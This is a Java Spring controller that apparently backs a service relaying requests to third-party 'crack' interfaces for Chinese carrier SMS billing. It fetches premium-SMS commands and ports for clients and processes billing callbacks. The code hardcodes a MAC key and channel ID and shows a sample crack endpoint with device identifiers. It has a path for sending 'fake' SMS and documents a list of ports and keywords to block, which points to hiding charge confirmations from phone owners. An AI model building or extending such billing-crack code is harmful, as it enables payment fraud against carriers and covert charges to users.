package cn.keepme.controller;

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.InvocationTargetException;
import java.sql.Timestamp;
import java.util.Arrays;
import java.util.Date;
import java.util.List;
import java.util.Map;

import javax.annotation.Resource;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;

import net.sf.json.JSONObject;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.beans.BeanUtils;
import org.springframework.stereotype.Component;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import cn.keepme.common.consts.PublicParams;
import cn.keepme.common.utils.Coder;
import cn.keepme.common.utils.WsUtils;
import cn.keepme.entity.HackerInterfaceLog;
import cn.keepme.entity.HackerInterfaceLogError;
import cn.keepme.entity.HackerReportLog;
import cn.keepme.entity.HackerReportLogSP;
import cn.keepme.entity.HackerVisitLog;
import cn.keepme.entity.vo.DealInfo;
import cn.keepme.entity.vo.FeeList;
import cn.keepme.entity.vo.FeeListResult;
import cn.keepme.entity.vo.HackerVisitLogVo;
import cn.keepme.entity.vo.MList;
import cn.keepme.entity.vo.SmsMsgPort;
import cn.keepme.entity.vo.TudouResult;
import cn.keepme.redis.service.RedisService;
import cn.keepme.service.InterfaceService;

import com.alibaba.fastjson.JSON;

@Controller
@Component
@RequestMapping("")
public class InterfaceController extends BaseController {
	
	@Resource
	private InterfaceService interfaceService;
	@Resource
	private RedisService redisService;
	
	protected final Log log = LogFactory.getLog(InterfaceController.class);

	protected Date reqtime;// 请求时间
	protected Date resptime;// 响应时间
	protected Long costtime = -1L;
	
	/**
	 * PayMax 访问入口
	 * @param request
	 * @param visit
	 * @return
	 */
	@RequestMapping("/portal")
	public String portal(HttpServletRequest request, HackerVisitLogVo visitvo){
		String data = "";
		HackerVisitLogVo vo = null;
		// 1.处理平台访问请求
		try {
			vo = doGet(request, visitvo);
		} catch (ServletException e1) {
				e1.printStackTrace();
		} catch (IOException e1) {
				e1.printStackTrace();
		}
		
		Timestamp createtime = new Timestamp(new Date().getTime());
		vo.setCreate_time(createtime);
		HackerVisitLog visitlog = translateLog(vo);
		
		// -------------- 记访问日志（hacker_visitlog）
        try {
        	interfaceService.WriteVisitLog(visitlog);
        } catch (Exception e) {
        	log.error("写入访问日志（hacker_visitlog）出错！");
        	e.printStackTrace();
        }
	    
//      vo.setUrl("http://121.41.58.237:8981/center/getCommand.sys?channelId=1103&extra=555&mac=BBDE0ADD692E57532A782DBB2B8B8B7E&gameName=%E4%B8%AD%E5%9B%BD&ip=124.202.176.250&fee=4&chargeName=%E6%88%91%E8%B8%A2&imsi=460009211893230");
        // 2.请求破解方
		String resultcode = vo.getResultcode();
		if("100".equals(resultcode)){
			data = doWebservice(vo, visitlog);
		}else{
			data = "error - "+ resultcode;
		}
		
		request.setAttribute("data", data);
		return this.JSP_PATH+"test.jsp";
	}
	
	/**
	 * 请求破解方
	 * @param visitvo
	 * @return
	 */
	public String doWebservice(HackerVisitLogVo visitvo, HackerVisitLog visitlog) {
		String url = visitvo.getUrl();	// 请求破解url
		int type = visitvo.getType();	// 接口类型
		String respcontext = null;	// 接口返回context
		String resultcode = "-1";  // 接口返回的状态码(-1 失败) 重新定义为系统返回状态码
		String data="";		// 最终返回页面数据
		
		System.out.println("-GET1 " + url);
		
		this.reqtime = new Date();
//	String url="http://qlw.yiqiao580.com:9900/crack/qlw/pay.do?"+"ptid=2205&imsi=460023416515866&imei=863165029634638&paycode=30000836258801&cpparam=123456789012&version=1.0.0";
		respcontext = WsUtils.Send("GET", url, "");
		this.resptime = new Date();
		this.costtime = resptime.getTime() - reqtime.getTime();
		
		System.out.println("-RESP " + respcontext);
//		log.fatal("111"); // fatal 记录文本日志
		log.info("============================");
		log.info("调用接口消耗时间：" + costtime +"ms");
		
		if(respcontext!=null&&!"".equals(respcontext)){
			data = typeGo(type, resultcode, respcontext, visitvo, visitlog);
		}else{
			// 记接口错误日志（接口返回内容为空）
			writeInterfackErrorlog(visitvo, costtime, resultcode, respcontext);
		}
		return data;
	}
	
	/**
	 * 接口返回内容 -> 统一格式(输出数据)
	 * 根据type,判断是哪种接口,做不同方式处理
	 * @param visitvo
	 * @return
	 */
	public String typeGo(int type, String resultcode, String respcontext, 
			HackerVisitLogVo vo, HackerVisitLog visitlog){
		FeeListResult flr = new FeeListResult();
		FeeList fl = new FeeList();
		String port = PublicParams.PORT_MAP.get(""+type);
		fl.setNum(port);
		
		if(type==606){	// 返回的内容为json格式
			JSONObject obj = JSONObject.fromObject(respcontext);
			resultcode = obj.getString("result");
			System.out.println("resultcode=" + resultcode);
			// 判断返回接口返回状态码  0表示成功，其他值失败（统一系统自定义的状态码）
			if("0".equals(resultcode)){
				MList r=JSON.parseObject(respcontext, MList.class);
				fl.setSms(r.getSms());
				// -------------- redis调用
				setR(visitlog);
			}
		}
		
		else if(type==603){	// 返回的内容为json格式
			JSONObject obj = JSONObject.fromObject(respcontext);
			resultcode = obj.getString("result");
			System.out.println("resultcode=" + resultcode);
			/* 
			 * 判断返回接口返回状态码  
			 * 1成功，不需要发送短信 
			 * 0成功 
			 * -1	参数错误
			 * -2	数据库错误
			   -3	游戏被禁止
			   -4	生成数据错误
			   -100	接口内部错误
			 * */
			if("0".equals(resultcode)){
				resultcode = "0";  // 成功则定义系统返回状态为0
				SmsMsgPort r=JSON.parseObject(respcontext, SmsMsgPort.class);
				fl.setSms(r.getSmsmsg());
				fl.setNum(r.getSmsport());
				// -------------- redis调用
				setR(visitlog);
			}else if("1".equals(resultcode)){
				resultcode = "0";  // 成功则定义系统返回状态为0
				// 1成功，不需要发送短信   (处理方式:发送一条假短信)
				fl.setSms("1");  // 假短信
//				fl.setNum(smsport);
				// -------------- redis调用
				setR(visitlog);
			}
		}
		
		else if(type==604 || type==614){ //604 接口返回说明:参数正常，将返回上行指令(如上); 参数错误，将返回空
			resultcode = "0";  // 成功则定义系统返回状态为0
			fl.setSms(respcontext);
			// -------------- redis调用（成功的时候将流水号存入缓存，回调时直接查缓存）
			setR(visitlog);
		}
		
		else if(type==612){ //返回参数：json格式
			if(respcontext.length()>5){ //respcontext.length()<5  "-5".equals(respcontext)
/* 
 * 返回参数：json格式
	说明：
        pbList：需要屏蔽的端口和关键字，可能有多个
		orderNo：订单号，用于同步数据
		resultCode：0：成功  -1：失败
		accessNo：短信指令发送的服务号，如果为空，也表示请求短信指令失败，可能是由于屏蔽地区，黑名单等原因。
		type：发送类型值，1：明文，2：byte[]发送 1通过SmsManager.sendTextMessage发送，2通过SmsManager.sendDataMessage发送。
		sms：短信指令
*/
				JSONObject obj = JSONObject.fromObject(respcontext);
				resultcode = obj.getString("resultCode");
				System.out.println("resultcode=" + resultcode);
				// 判断返回接口返回状态码  0表示成功，其他值失败（统一系统自定义的状态码）
				if("0".equals(resultcode)){
					TudouResult r=JSON.parseObject(respcontext, TudouResult.class);
					fl.setSms(r.getSms());
					fl.setNum(r.getAccessNo());
					// -------------- redis调用
					setR(visitlog);
				}
			}
		}
		
		else if(type==701){
			resultcode = "0";  // 成功则定义系统返回状态为0
			fl.setSms(respcontext);
			fl.setNum(vo.getPort());
			// -------------- redis调用（成功的时候将流水号存入缓存，回调时直接查缓存）
			setR(visitlog);
		}
		
		else if(type==803){	// 返回的内容为json格式（803）
			JSONObject obj = JSONObject.fromObject(respcontext);
			resultcode = obj.getString("resultCode");
			System.out.println("resultcode=" + resultcode);
			// 判断返回接口返回状态码  0表示成功，其他值失败（统一系统自定义的状态码）
			if("0000".equals(resultcode)){
				resultcode = "0";  // 成功则定义系统返回状态为0
				fl.setSms(obj.getString("code"));
				fl.setNum(obj.getString("longCode"));
				// -------------- redis调用
				setR(visitlog);
			}
		}
		
		if("0".equals(resultcode)){
			flr.setFee(fl);
			flr.sethRet("0");
			JSONObject json = new JSONObject();
			json = JSONObject.fromObject(flr);
			respcontext = json.toString();
			respcontext = respcontext.replace("fee","Fee");
		}else{
			// 记接口错误日志（接口返回状态失败）
			writeInterfackErrorlog(vo, costtime, resultcode, respcontext);
		}
//----------------------------------------------------------
		writeInterfacklog(vo, costtime, resultcode);	// 写调接口日志（hacker_interfacelog） 
//----------------------------------------------------------	
		return respcontext;
	}
    
    /**
     * MM(606)
     * 处理破解方回调请求,订单接收报告
     * 回调地址：
http://127.0.0.1:8081/sp/callback.do?ptid=2205&orderno=MQ36949538773543&status=0&imsi=460023416515866&amount=800&cpparam=50721051202222051394001 
     */
    @RequestMapping("/callback")
	public String callback(HttpServletRequest request){
//    	System.out.println("-GET0 " + request.getRequestURL() + "?"+ request.getQueryString());
    	// 1.获取订单流水号
    	String serial = request.getParameter("cpparam");  // cpparam 渠道自定义参数 == 订单流水号
		String sta = request.getParameter("status");  //status=0表示计费成功，其他值失败
		int status = -1;
		if("0".equals(sta)){
			status = 0;
		}
		
		if(callBackStep2(serial, status))
		request.setAttribute("result", "ok");
		
		return this.JSP_PATH+"test.jsp";
	}
   
    /**
     * 604/701
     * 回调请求,订单接收报告
     */
    @RequestMapping("/recv")
   	public String recv(HttpServletRequest request){
    	System.out.println("604-GET0 " + request.getRequestURL() + "?"+ request.getQueryString());
    	// 1.获取订单流水号
    	String serial = request.getParameter("cpparam");  // cpparam 渠道自定义参数 == 订单流水号
    	String sta = request.getParameter("status");  //status=0表示计费成功，其他值失败
		int status = -1;
		if("0".equals(sta)){
			status = 0;
		}

		if(callBackStep2(serial, status))
    	request.setAttribute("result", "ok");
		
		return this.JSP_PATH+"test.jsp";
    }
    
    /**
     * 603
     * 回调请求,订单接收报告
     */
    @RequestMapping("/recv603")
   	public String recv603(HttpServletRequest request){
    	System.out.println("603-GET0 " + request.getRequestURL() + "?"+ request.getQueryString());
    	// 1.获取订单流水号
    	String serial = request.getParameter("exData");  // cpparam 渠道自定义参数 == 订单流水号
		String sta = request.getParameter("status");  //status=0表示计费成功，其他值失败
		int status = -1;
		if("0".equals(sta)){
			status = 0;
		}

		if(callBackStep2(serial, status))
    	request.setAttribute("result", "ok");
		
		return this.JSP_PATH+"test.jsp";
    }
    
    /**
     * 	612 数据同步：
		mr：http://xxxx?phone=@phone&spnumber=@spnumber&msg=@msg&linkid=@linkid&reportstatus=@reportstatus
		phone: imsi
		spnumber：tudourdo
		msg: fee+cpid+'#'+linkid
		linkid= 第一步返回的json中的orderNo
		reportstatus：状态报告，成功为 DELIVRD，其他为失败
     */
    @RequestMapping("/recv612")
   	public String recv612(HttpServletRequest request){
    	System.out.println("612-GET0 " + request.getRequestURL() + "?"+ request.getQueryString());
    	// 1.获取订单流水号
    	String serial = request.getParameter("spnumber");  // cpparam 渠道自定义参数 == 订单流水号
		String reportstatus = request.getParameter("reportstatus");
		int status = -1;
		if("DELIVRD".equals(reportstatus)){ // 状态报告，成功为 DELIVRD，其他为失败
			status = 0;
		}
		
		if(callBackStep2(serial, status))
    	request.setAttribute("result", "ok");
		
		return this.JSP_PATH+"test.jsp";
    }
    
    /**
     * 614
     * 回调请求,订单接收报告
     * HTTP+JSON (请求类型为POST方式)
     */
    @RequestMapping("/recv614")
   	public String recv614(HttpServletRequest request){
//    	System.out.println("614-GET0 " + request.getRequestURL() + "?"+ request.getQueryString());
    	// 1.获取订单流水号
    	String dealInfo = request.getParameter("dealInfo");
    	if(dealInfo!=null){
    		try {
    			dealInfo = java.net.URLDecoder.decode(dealInfo, "utf-8");
    		} catch (UnsupportedEncodingException e) {
    			// TODO Auto-generated catch block
    			e.printStackTrace();
    		}  
    	}
    	System.out.println(dealInfo);
    	DealInfo d = JSON.parseObject(dealInfo, DealInfo.class);
//    	JSONObject obj = JSONObject.fromObject(dealInfo);
    	System.out.println(d.getTransCode());
    	
    	String serial = d.getTransCode();  // transCode 渠道自定义参数 == 订单流水号
		String isBillingFlag = d.getIsBillingFlag();
		int status = -1;
		if("01".equals(isBillingFlag)){ //计费成功标识00-失败 01-成功
			status = 0;
		}

		/**	返回参数也要求采用JSON串的形式，如：{"code":"000000", "message":"success!"}  
		 * 	返回码	返回码说明
			000000	请求处理成功。
			280001	参数为空错误。
			280002	参数不合法。
			280003	参数解密错误。
			280004	错误的企业代码。
		 * **/
		String resultJson = "";
		if(callBackStep2(serial, status)){
			resultJson = "{\"code\":\"000000\", \"message\":\"success!\"}";
		}else{
			resultJson = "{\"code\":\"280001\", \"message\":\"fail!\"}";
		}
		request.setAttribute("result", resultJson);
		return this.JSP_PATH+"test.jsp";
    }
    
    
    /**
     * 803
     * 回调请求,订单接收报告
     * HTTP+JSON (请求类型为POST方式)
     */
    @RequestMapping("/recv803")
   	public String recv803(HttpServletRequest request){
    	/** 接口说明
			1.状态通知是验证是否扣费成功的标志，合作方需确定收到成功的状态通知才给用户发放相应的商品
			2.MAC校验，保证了信息从短信平台到合作方的完整性，参与MAC运算的字符及其顺序如下：
			    用户手机号码+linkId+长号码+上行内容+状态+金额+key
			    和短信平台提供的mac值进行比对，如果一致，说明该通知是由支付平台提供，否则，则是虚假信息。
			3.合作方key由短信平台提供
			4.状态值请参考附件
			5.合作方接收到状态通知后，请直接页面返回 “success”以示接收成功。
    	 * 	响应码	说明
			00		计费成功
			01		计费失败
			02		未知状态
    	 * **/
//    	System.out.println("614-GET0 " + request.getRequestURL() + "?"+ request.getQueryString());
    	// 1.获取订单流水号
    	String serial = request.getParameter("extra");  // extra 渠道自定义参数 == 订单流水号
    	String st = request.getParameter("status"); // 状态
		int status = -1;
		if("00".equals(st)){ //	00计费成功
			status = 0;
		}

		String res = "";
		if(callBackStep2(serial, status)){
			res = "success";
		}
		request.setAttribute("result", res);
		return this.JSP_PATH+"test.jsp";
    }
    
    public boolean checkSerialNum(String serial, String serialsys, String appid, String codeid){
    	if(serial.contains(serialsys) && serial.contains(appid) && serial.contains(codeid)){
    		return true;
    	}
    	return false;
    }
    
    /**
     * 校验流水号，公共的回调流程处理方法
     * 
     * @param serial
     * @param status
     */
    public boolean callBackStep2(String serial, int status){
    	Boolean flag = false;
    	HackerVisitLog visitlog = null;
    	Timestamp createtime = new Timestamp(new Date().getTime());
    	// 2.校验流水号（）
    	if(!"".equals(serial) && serial!=null){
			visitlog = gerVisitLog(visitlog, serial);
			if(visitlog!=null){
//				int type = visitlog.getType();
				String serialsys = visitlog.getSerial_sys();
				if(checkSerialNum(serial, serialsys, visitlog.getApp_id(), visitlog.getCode_id())){
//					System.out.println("yes~~");
					// 3.记录回调日志
					writeReportlog(visitlog, serial, status, createtime);
					
					if(status == 0){ // 0成功	
						// 4.发送，回传PayMax
						String resultcode = callBackPayMax(serialsys, createtime);
//						System.out.println(resultcode);
						// 5.记录回传PayMax报告日志
						writeReportLogSp(serialsys, resultcode, createtime);
						flag = true;
					}else{
						// 破解方返回状态失败，不进行同步
						flag = false;
						// 记录回调日志
						writeReportlog(visitlog, serial, -5, createtime);
					}
				}
				else{ 
		    		// 自平台无匹配的serial
					flag = false;
					// 记录回调日志
					writeReportlog(visitlog, serial, -2, createtime);
		    	}
			}
			else{ 
	    		// 自平台无匹配的serial
				flag = false;
				// 记录回调日志
				writeReportlog(visitlog, serial, -2, createtime);
	    	}
		}
    	else{ 
    		// 破解方传入的serial为空
    		flag = false;
    		// 记录回调日志
			writeReportlog(visitlog, serial, -1, createtime);
    	}
		return flag;
    }
    
    
    public String callBackPayMax(String serialsys, Timestamp createtime){
    	String resultcode = "";
    	String url = "http://127.0.0.1:8081/sp/callbacktest.do?";  // PayMax提供的回传URL
		url+="serial_sys="+serialsys+"&create_time="+PublicParams.dayFormatter[6].format(createtime);
    	String respcontext = WsUtils.Send("GET", url, "");
		JSONObject obj = JSONObject.fromObject(respcontext);
    	resultcode = obj.getString("result");
		return resultcode;
    }
    
    /**
     * 用来模拟PayMax 接收回调结果并返回
     * @param request
     * @return
     */
    @RequestMapping("/callbacktest")
	public String callbacktest(HttpServletRequest request){
//    	System.out.println("-GET0 " + request.getRequestURL() + "?"+ request.getQueryString());
    	try{
    		request.setAttribute("result", "{\"result\":\"0\"}"); // 测试先写死
    	}catch(Exception ex){
			ex.printStackTrace();
		}
		return this.JSP_PATH+"testcallback.jsp";
    }

    
    /**
	 * 处理平台访问请求
	 * @param request
	 * @param visitvo
	 * @return
	 * @throws ServletException
	 * @throws IOException
	 */
	public HackerVisitLogVo doGet(HttpServletRequest request, HackerVisitLogVo visitvo) 
			throws ServletException, IOException {
	 	System.out.println("-GET0 " + request.getRequestURL() + "?"+ request.getQueryString());
	 	
	 	Map<String, String[]> params = request.getParameterMap();
	 	String urlString = "";
	 	String resultcode = "100";
	 	String type = request.getParameter("type");
	 	List<String> pList = null;
	 	
	 	// 校验type是否存在
	 	if(!"".equals(type) && type!=null){	
	 		pList = getUrlParam(type, pList);
	 		// 校验type是否存在
	 		if(pList!=null){
	 			visitvo = getSerialValue(visitvo);	// 获取破解方流水号
	 			String url_pre = PublicParams.URL_MAP.get(type);
	 			urlString += url_pre;

	 			if("803".equals(type)){
//	 				String channelId = request.getParameter("channelId");
	 				String macKey = "6yc6t499"; // 破解方提供  先写死
	 				String channelId = "1103";	// 破解方提供  先写死
	 				
	 				String fee = request.getParameter("fee");
	 				String ip = request.getParameter("ip");
	 				String extra = visitvo.getSerial();  // 字母和数字（30位以内）
	 				String imsi = request.getParameter("imsi");
	 				String gameName = request.getParameter("gameName");
	 				String chargeName = request.getParameter("chargeName");
	 				
	 				String gameNameENcoder = java.net.URLEncoder.encode(gameName, "utf-8");
	 				String chargeNameENcoder = java.net.URLEncoder.encode(chargeName, "utf-8");
	 				
	 				urlString += "channelId=" + channelId + "&";
	 				
	 				if(!"".equals(imsi)&&!"".equals(fee)&&!"".equals(ip)&&!"".equals(extra)&&!"".equals(gameName)&&!"".equals(chargeName)){
	 					String mac="";
	 					try {
	 								// 渠道id +计费金额 +客户端ip + 扩展字段 +游戏名称（urlencode）+计费点名称（urlencode）+key
							mac = channelId +fee +ip +extra +gameNameENcoder +chargeNameENcoder +macKey;
							mac = Coder.encodeMD5(mac).toUpperCase();
							// System.out.println("-mac "+mac);
						} catch (Exception e) {
							// TODO Auto-generated catch block
							e.printStackTrace();
						}
	 					/*urlString += "fee="+ fee+ "&ip="+ ip + "&extra="+ extra+ "&imsi="+ imsi 
	 					+ "&gameName="+ gameNameENcoder+ "&chargeName="+ chargeNameENcoder+ "&";*/
	 					// 拼接url
	 					urlString += "extra=" + extra + "&";
	 					urlString += "mac" + "=" + mac+ "&";
	 					urlString += "gameName=" + gameNameENcoder + "&";
	 					urlString += "ip=" + ip + "&";
	 					urlString += "fee=" + fee + "&";
	 					urlString += "chargeName=" + chargeNameENcoder + "&";
	 					urlString += "imsi=" + imsi + "&";
 					 /* http://121.41.58.237:8981/center/getCommand.sys?
 					  * channelId=1103&
 					  * extra=555&
 					  * mac=BBDE0ADD692E57532A782DBB2B8B8B7E&
 					  * gameName=%E4%B8%AD%E5%9B%BD&
 					  * ip=124.202.176.250&
 					  * fee=4&
 					  * chargeName=%E6%88%91%E8%B8%A2&
 					  * imsi=460009211893230
 					*/
	 				}else{
	 					resultcode = "201";  // 接收参数有误
	 				}
	 			}else{
	 				for (String key : params.keySet()) {
	 					String[] values = params.get(key);
	 					for (int i = 0; i < values.length; i++) {
	 						String value = values[i];
	 						// System.out.println(key + "=" + value);
	 						// 校验参数是否齐全/正确	& 黑名单过滤
	 						// 匹配接口参数
	 						if(pList.contains(key)){  // 拼接破解接口参数
	 							if("cpparam".equals(key)){
	 								value = visitvo.getSerial();
	 								System.out.println(key + "=" + value);
	 							}
	 							if(!"".equals(value)){
	 								urlString += key + "=" + value + "&";
	 							}else{
	 								resultcode = "201";  // 接收参数有误
	 							}
	 						}
	 					}
	 				}
	 			}
	 			// 去掉最后一个空格  
	 			urlString = urlString.substring(0, urlString.length() - 1);
	 			visitvo.setUrl(urlString); //url 不记录日志，只进行值传递的作用
	 		}else{
	 			resultcode = "202";  // type未定义
	 		}
	 	}else{
	 		resultcode = "202";  // type未定义
	 	}
        
    	visitvo.setResultcode(resultcode);	// 记录返回状态
        return visitvo;
    }
	
	/* 读配置文件  获取接口参数list */
	public List<String> getUrlParam(String key, List<String> pList){
		Map<String,String> map = PublicParams.PARAM_MAP;
		if(map!=null && map.containsKey(key)){
			String urlParam = map.get(key);
			pList = Arrays.asList(urlParam.split(","));
		}
		return pList;
	}
	
	/**
	 * cpparam = extra = serial
	 * 根据type定义不同接口的订单流水号 
	 * @param visitvo
	 * @return
	 */
	public HackerVisitLogVo getSerialValue(HackerVisitLogVo visitvo){
//		int type = visitvo.getType();
		String serial = "0";
		// 破解方流水号  == 自定义参数 == 平台流水号 + 游戏id + 道具id
		serial = visitvo.getSerial_sys()+visitvo.getApp_id()+visitvo.getCode_id();
//		if(606==type){
//			serial = visitvo.getSerial_sys()+visitvo.getApp_id()+visitvo.getCode_id();
//		}
		visitvo.setSerial(serial);
		return visitvo;
	}
    
    /**
     * @return
     */
    @RequestMapping("/error")
	public String error(HttpServletRequest request){
		request.setAttribute("status", "非内网IP，拒绝访问");
		return this.JSP_PATH+"error.jsp";
	}
    

	/**
	 * 写接口错误日志（hacker_log_interface_error） 
	 * @param visitvo
	 * @param costtime
	 * @param resultcode
	 * @param respcontext
	 */
	public void writeInterfackErrorlog(HackerVisitLogVo visitvo,Long costtime,String resultcode,String respcontext){
		HackerInterfaceLogError errorLog = new HackerInterfaceLogError();
		errorLog.setType(visitvo.getType());
		errorLog.setSerial(visitvo.getSerial());
		errorLog.setCostedtime(costtime.toString());
		errorLog.setResult_code(resultcode);
		errorLog.setRequest_url(visitvo.getUrl());
		errorLog.setResp_content(respcontext);
		try {
			interfaceService.WriteInterfaceLogError(errorLog);
		} catch (Exception e) {
			// TODO Auto-generated catch block
			log.error("写入接口调用错误日志（hacker_log_interface_error）出错！");
			e.printStackTrace();
		}
	}
	
	/**
	 * 写调接口日志（hacker_interfacelog） 
	 * @param visitvo
	 * @param costtime
	 * @param resultcode
	 */
	public void writeInterfacklog(HackerVisitLogVo visitvo,Long costtime,String resultcode){
		HackerInterfaceLog interfaceLog = new HackerInterfaceLog();
		interfaceLog.setType(visitvo.getType());
		interfaceLog.setSerial(visitvo.getSerial());
		interfaceLog.setCostedtime(costtime.toString());
		interfaceLog.setResult_code(resultcode);
		try {
			interfaceService.WriteInterfaceLog(interfaceLog);
		} catch (Exception e) {
			// TODO Auto-generated catch block
			log.error("写入接口调用日志（hacker_log_interface）出错！");
			e.printStackTrace();
		}
	}
	
	/**
	 * 写调回调日志（hacker_log_report） 
	 * @param visitlog
	 * @param serial
	 * @param status
	 * @param createtime
	 */
	public void writeReportlog(HackerVisitLog visitlog,String serial,int status,Timestamp createtime){
		HackerReportLog r = new HackerReportLog();
		if(visitlog!=null){	
			r.setType(visitlog.getType());
			r.setSerial_sys(visitlog.getSerial_sys());
		}
		if(!"".equals(serial) && serial!=null){
			r.setSerial(serial);
		}else{
			r.setSerial("");
		}
		r.setReport_status(status);
		r.setCreate_time(createtime);
		try {
			interfaceService.WriteReportLog(r);
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	
	/**
	 * 写PayMax日志（hacker_log_report_sp） 
	 * @param serialsys
	 * @param resultcode
	 * @param createtime
	 */
	public void writeReportLogSp(String serialsys,String resultcode,Timestamp createtime){
		HackerReportLogSP sp = new HackerReportLogSP();
		sp.setSerial_sys(serialsys);
		sp.setCreate_time(createtime);
		sp.setResult_code(Integer.parseInt(resultcode));
		try {
			interfaceService.WriteReportLogSp(sp);
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
    
    /**
     * Redis add one new key-value
     */
    public void setR(HackerVisitLog visitlog){
    	String key = "sn:"+visitlog.getSerial();
//    	System.out.println("RedisService : " + redisService);
    	try {
    		if (redisService != null) {
    			if (!redisService.check(key)) {
//					System.out.println("====== "+"add one new key-value :"+key);
//					redisService.set(key, "111", 0);
    				redisService.setJacksonSerHackerVisitLog(visitlog);
    			}
//    			String value = redisService.get(key);
//				System.out.println("====== "+value);
    		}
		} catch (Exception e) {
			// TODO: handle exception
			log.error("Redis connection failed ~ ~ ~ ~ ~ ~ ~ 插入缓存失败！");
		}
    }
    
    public HackerVisitLog gerVisitLog(HackerVisitLog visitlog,String serial){
    	try {
			// 改成查Redis缓存
			String key = "sn:"+ serial;
			visitlog = redisService.getJacksonSerHackerVisitLog(key);
			redisService.del(key);	// 删缓存
		} catch (Exception e) {
			// TODO: handle exception
			log.error("Redis connection failed ~ ~ ~ ~ ~ ~ ~ 查缓存失败！");
//			log.fatal("Redis connection failed ~ ~ ~ ~ ~ ~ ~ 查缓存失败！");
		}
		if(visitlog==null){
			// 查数据库
			try {
				visitlog = interfaceService.queryVisitLog(serial);
			} catch (IllegalAccessException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (InvocationTargetException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (InstantiationException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
		}
		return visitlog;
    }
    
    public HackerVisitLog translateLog(HackerVisitLogVo vo){
    	HackerVisitLog log = new HackerVisitLog();
    	BeanUtils.copyProperties(vo, log);
		return log;
    }

	public Date getReqtime() {
		return reqtime;
	}
	public void setReqtime(Date reqtime) {
		this.reqtime = reqtime;
	}
	public Date getResptime() {
		return resptime;
	}
	public void setResptime(Date resptime) {
		this.resptime = resptime;
	}
	public Long getCosttime() {
		return costtime;
	}
	public void setCosttime(Long costtime) {
		this.costtime = costtime;
	}
    
}
